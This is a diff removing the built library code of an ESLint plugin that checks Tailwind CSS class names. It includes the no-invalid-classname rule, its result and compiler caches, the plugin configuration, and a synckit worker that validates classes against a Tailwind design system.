-  return whitelist.some((pattern) => pattern.test(className));
-}
-function splitClassTokens(classString) {
-  return classString.trim().split(/\s+/).filter(Boolean);
-}
-
-const CACHE_TTL_MS = 10 * 60 * 1e3;
-const resultCache = /* @__PURE__ */ new Map();
-const compilerMtimeCache = /* @__PURE__ */ new Map();
-function resolveWorkerPath() {
-  const dir = dirname(fileURLToPath(import.meta.url));
-  const candidates = [
-    join(dir, "../worker/validate.mjs"),
-    join(dir, "../../worker/validate.mjs")
-  ];
-  for (const candidate of candidates) {
-    if (existsSync(candidate)) {
-      return candidate;
-    }
-  }
-  throw new Error("eslint-plugin-tailwind-ts: validation worker not found");
-}
-const runValidate = createSyncFn(resolveWorkerPath());
-function resolveCssConfigPath(cssConfigPath, cwd) {
-  return isAbsolute(cssConfigPath) ? cssConfigPath : resolve(cwd, cssConfigPath);
-}
-function getCssMtime(cssConfigPath) {
-  return statSync(cssConfigPath).mtimeMs;
-}
-function isCompilerCacheValid(cssConfigPath) {
-  const cached = compilerMtimeCache.get(cssConfigPath);
-  if (!cached) {
-    return false;
-  }
-  try {
-    return cached.mtimeMs === getCssMtime(cssConfigPath);
-  } catch {
-    return false;
-  }
-}
-function touchCompilerCache(cssConfigPath) {
-  compilerMtimeCache.set(cssConfigPath, {
-    mtimeMs: getCssMtime(cssConfigPath)
-  });
-}
-function invalidateResultCacheForConfig(cssConfigPath) {
-  for (const key of resultCache.keys()) {
-    if (key.startsWith(`${cssConfigPath}::`)) {
-      resultCache.delete(key);
-    }
-  }
-}
-function validateTailwindClass(request) {
-  const resolvedCssPath = resolveCssConfigPath(
-    request.cssConfigPath,
-    request.cwd
-  );
-  if (!isCompilerCacheValid(resolvedCssPath)) {
-    invalidateResultCacheForConfig(resolvedCssPath);
-    touchCompilerCache(resolvedCssPath);
-  }
-  const cacheKey = `${resolvedCssPath}::${request.className}`;
-  const cached = resultCache.get(cacheKey);
-  if (cached && cached.expiresAt > Date.now()) {
-    return { valid: cached.valid };
-  }
-  const response = runValidate({
-    cssConfigPath: resolvedCssPath,
-    className: request.className,
-    cwd: request.cwd
-  });
-  resultCache.set(cacheKey, {
-    valid: response.valid,
-    expiresAt: Date.now() + CACHE_TTL_MS
-  });
-  return response;
-}
-
-const RULE_NAME = "no-invalid-classname";
-const noInvalidClassname = ESLintUtils.RuleCreator.withoutDocs({
-  meta: {
-    type: "problem",
-    docs: {
-      description: "Disallow invalid or typo Tailwind CSS class names in JSX and utility functions."
-    },
-    schema: [
-      {
-        type: "object",
-        additionalProperties: false,
-        properties: {
-          whitelist: {
-            type: "array",
-            items: { type: "string" }
-          }
-        }
-      }
-    ],
-    messages: {
-      invalidClass: 'Class "{{ className }}" is not a valid Tailwind CSS class.'
-    }
-  },
-  defaultOptions: [{}],
-  create(context) {
-    const pluginSettings = context.settings.tailwindTs;
-    let resolvedSettings;
-    try {
-      resolvedSettings = parsePluginSettings(pluginSettings);
-    } catch (error) {
-      const message = error instanceof Error ? error.message : "Invalid plugin settings.";
-      context.report({
-        loc: { line: 1, column: 0 },
-        message
-      });
-      return {};
-    }
-    const ruleWhitelist = (context.options[0]?.whitelist ?? []).map(
-      (pattern) => new RegExp(pattern)
-    );
-    const whitelist = [...resolvedSettings.whitelist, ...ruleWhitelist];
-    const attributeNames = new Set(resolvedSettings.attributes);
-    const cwd = context.cwd ?? process.cwd();
-    function reportInvalidClasses(literals) {
-      for (const literal of literals) {
-        for (const className of splitClassTokens(literal.value)) {
-          if (isWhitelisted(className, whitelist)) {
-            continue;
-          }
-          const result = validateTailwindClass({
-            cssConfigPath: resolvedSettings.cssConfigPath,
-            className,
-            cwd
-          });
-          if (!result.valid) {
-            context.report({
-              node: literal.node,
-              messageId: "invalidClass",
-              data: { className }
-            });
-          }
-        }
-      }
-    }
-    return {
-      JSXAttribute(node) {
-        if (node.name.type !== "JSXIdentifier" || !attributeNames.has(node.name.name)) {
-          return;
-        }
-        reportInvalidClasses(
-          extractClassLiteralsFromJsxAttribute(node, {
-            functions: resolvedSettings.functions,
-            ignoredKeys: resolvedSettings.ignoredKeys
-          })
-        );
-      },
-      CallExpression(node) {
-        reportInvalidClasses(
-          extractClassLiteralsFromCallExpression(node, {
-            functions: resolvedSettings.functions,
-            ignoredKeys: resolvedSettings.ignoredKeys
-          })
-        );
-      }
-    };
-  }
-});
-
-const createConfig = (rules) => {
-  const result = {};
-  for (const [ruleName, value] of Object.entries(rules)) {
-    result[`tailwind-ts/${ruleName}`] = value;
-  }
-  return result;
-};
-const plugin = {
-  meta: {
-    name: packageJson.name,
-    version: packageJson.version
-  },
-  configs: {
-    get recommended() {
-      return sharedConfigs.recommended;
-    }
-  },
-  rules: {
-    [RULE_NAME]: noInvalidClassname
-  }
-};
-const recommendedRules = {
-  [RULE_NAME]: "error"
-};
-const configBase = {
-  name: "tailwind-ts/base",
-  plugins: {
-    "tailwind-ts": plugin
-  },
-  settings: {
-    tailwindTs: {}
-  },
-  files: ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx"],
-  languageOptions: {
-    parserOptions: {
-      ecmaVersion: "latest",
-      sourceType: "module",
-      ecmaFeatures: {
-        jsx: true
-      }
-    }
-  }
-};
-const sharedConfigs = {
-  recommended: {
-    ...configBase,
-    name: "tailwind-ts/recommended",
-    rules: createConfig(recommendedRules)
-  }
-};
-
-export { plugin as default };

package/lib/worker/validate.mjs

@@ -1,65 +0,0 @@
-import { readFileSync, statSync } from "node:fs";
-import { dirname } from "node:path";
-import { pathToFileURL } from "node:url";
-import { __unstable__loadDesignSystem } from "@tailwindcss/node";
-
-/** @typedef {{ cssConfigPath: string, className: string, cwd: string }} ValidateClassRequest */
-/** @typedef {{ valid: boolean, error?: string }} ValidateClassResponse */
-
-/** @type {Map<string, { mtimeMs: number, designSystem: Awaited<ReturnType<typeof __unstable__loadDesignSystem>> }>} */
-const designSystemCache = new Map();
-
-/**
- * @param {string} cssConfigPath
- */
-async function getDesignSystem(cssConfigPath) {
-  const mtimeMs = statSync(cssConfigPath).mtimeMs;
-  const cached = designSystemCache.get(cssConfigPath);
-
-  if (cached && cached.mtimeMs === mtimeMs) {
-    return cached.designSystem;
-  }
-
-  const css = readFileSync(cssConfigPath, "utf8");
-  const designSystem = await __unstable__loadDesignSystem(css, {
-    base: dirname(cssConfigPath),
-  });
-
-  designSystemCache.set(cssConfigPath, { mtimeMs, designSystem });
-  return designSystem;
-}
-
-/**
- * @param {ValidateClassRequest} request
- * @returns {Promise<ValidateClassResponse>}
- */
-async function validateClass(request) {
-  try {
-    const designSystem = await getDesignSystem(request.cssConfigPath);
-    const cssResults = designSystem.candidatesToCss([request.className]);
-    const valid = cssResults[0] !== null;
-
-    return { valid };
-  } catch (error) {
-    return {
-      valid: false,
-      error: error instanceof Error ? error.message : String(error),
-    };
-  }
-}
-
-/**
- * @param {ValidateClassRequest} request
- * @returns {ValidateClassResponse}
- */
-function run(request) {
-  return validateClass(request);
-}
-
-if (import.meta.url === pathToFileURL(process.argv[1]).href) {
-  const { runAsWorker } = await import("synckit");
-
-  runAsWorker(run);
-}
-
-export { run };